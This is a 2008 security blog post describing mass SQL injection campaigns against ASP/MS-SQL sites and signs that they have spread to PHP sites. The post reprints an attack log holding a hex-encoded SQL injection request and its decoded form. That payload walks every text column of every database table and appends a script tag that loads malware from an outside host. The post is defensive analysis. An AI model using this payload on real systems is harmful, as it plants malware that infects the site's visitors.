Mass SQL Injection Attacks Now Targeting PHP Sites

Submitted by Ryan Barnett 8/26/2008

As most of you already have heard, or have faced yourselves, the mass SQL Injection attacks are still going strong on the web - Mass SQL Attack a Wake-up Call for Developers.

The Game Has Changed
Previously criminals had a tough time creating scripts that would mass exploit web applications. This was mainly due to website running custom coded apps. No two sites were the same. This means that attackers didn’t have access to the target code so they were forced to conduct manual reconnaissance probes to enumerate database structures (such as in the previous real attack). This meant that if an attacker wanted to extract out customer credit card data from a back-end database, they would be forced to run reconnaissance probes in order to enumerate the database structure and naming conventions. This manual probing offered defenders time to identify and react to attacks before successful compromise of customer data.

Now, these SQL Injection scripts can generically inject data into any vulnerable sites without prior knowledge of the database structure. They accomplish this by using multiple sql commands to essentially create a script that will generically gather then loop through all table names and append on some malicious javascript that points to malware on a 3rd party site.

A "skeleton key" attack if you will. Brutal...

The attacks have mainly been targeting IIS/ASP/MS-SQL sites up to this point. For example, I recently received this example attack log from a ModSecurity user which shows the SQL Injection payload -

GET /somedir/somfile.asp?arg1=SOMETHING;DECLARE%20@S%20
VARCHAR(4000);SET%20@S=CAST(0x4445434c41524520405420
5641524348415228323535292c4043205641524348415228323535
29204445434c415245205461626c655f437572736f722043555253
4f5220464f522053454c45435420612e6e616d652c622e6e616d652
046524f4d207379736f626a6563747320612c737973636f6c756d6
e73206220574845524520612e69643d622e696420414e4420612e
78747970653d27752720414e442028622e78747970653d393920
4f5220622e78747970653d3335204f5220622e78747970653d323
331204f5220622e78747970653d31363729204f50454e205461626
c655f437572736f72204645544348204e4558542046524f4d20546
1626c655f437572736f7220494e544f2040542c4043205748494c4
528404046455443485f5354415455533d302920424547494e20455
845432827555044415445205b272b40542b275d20534554205b27
2b40432b275d3d525452494d28434f4e56455254285641524348415
22834303030292c5b272b40432b275d29292b27273c7363726970
74207372633d73646f2e313030306d672e636e2f63737273732f77
2e6a733e3c2f7363726970743e27272729204645544348204e4558
542046524f4d205461626c655f437572736f7220494e544f2040542
c404320454e4420434c4f5345205461626c655f437572736f722044
45414c4c4f43415445205461626c655f437572736f7220%20AS%20
VARCHAR(4000));EXEC(@S);-- HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, */*;q=0.1
Accept-Language: en-US
Accept-Encoding: deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: www.example.com
Connection: Close

If we decode the HEX encoded SQL data, we get this -

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=sdo.1000mg.cn/csrss/w.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Fortunately for this user, ModSecurity has rules that easily detected and blocked this attack.

The theory is that the SQL injection code could be updated to compromise other platforms such as PHP, etc... Well, I have been doing some research and I am finding evidence of PHP sites that have been infected. For example, if you do a google search looking for PHP sites that have the same javascript code as the example that was sent to me, you will see approximately 3,150 site PHP sites are currectly infected.

Technical Sidenote - what is interesting with these PHP sites is that even though their web applications are not filtering client input and their DB queries are not secure, they are actually able to prevent the goal of this attack since the PHP code is properly html encoding the output sent to the clients :)

What I am not sure of is whether then attack code itself has indeed changed (to target other back-end DBs) or if the victim site is using a PHP front-end with a MS-SQL back-end… If you have any logs of these attacks where they are targeting PHP pages (instead of ASP/ASPX), please share them with me or post them here.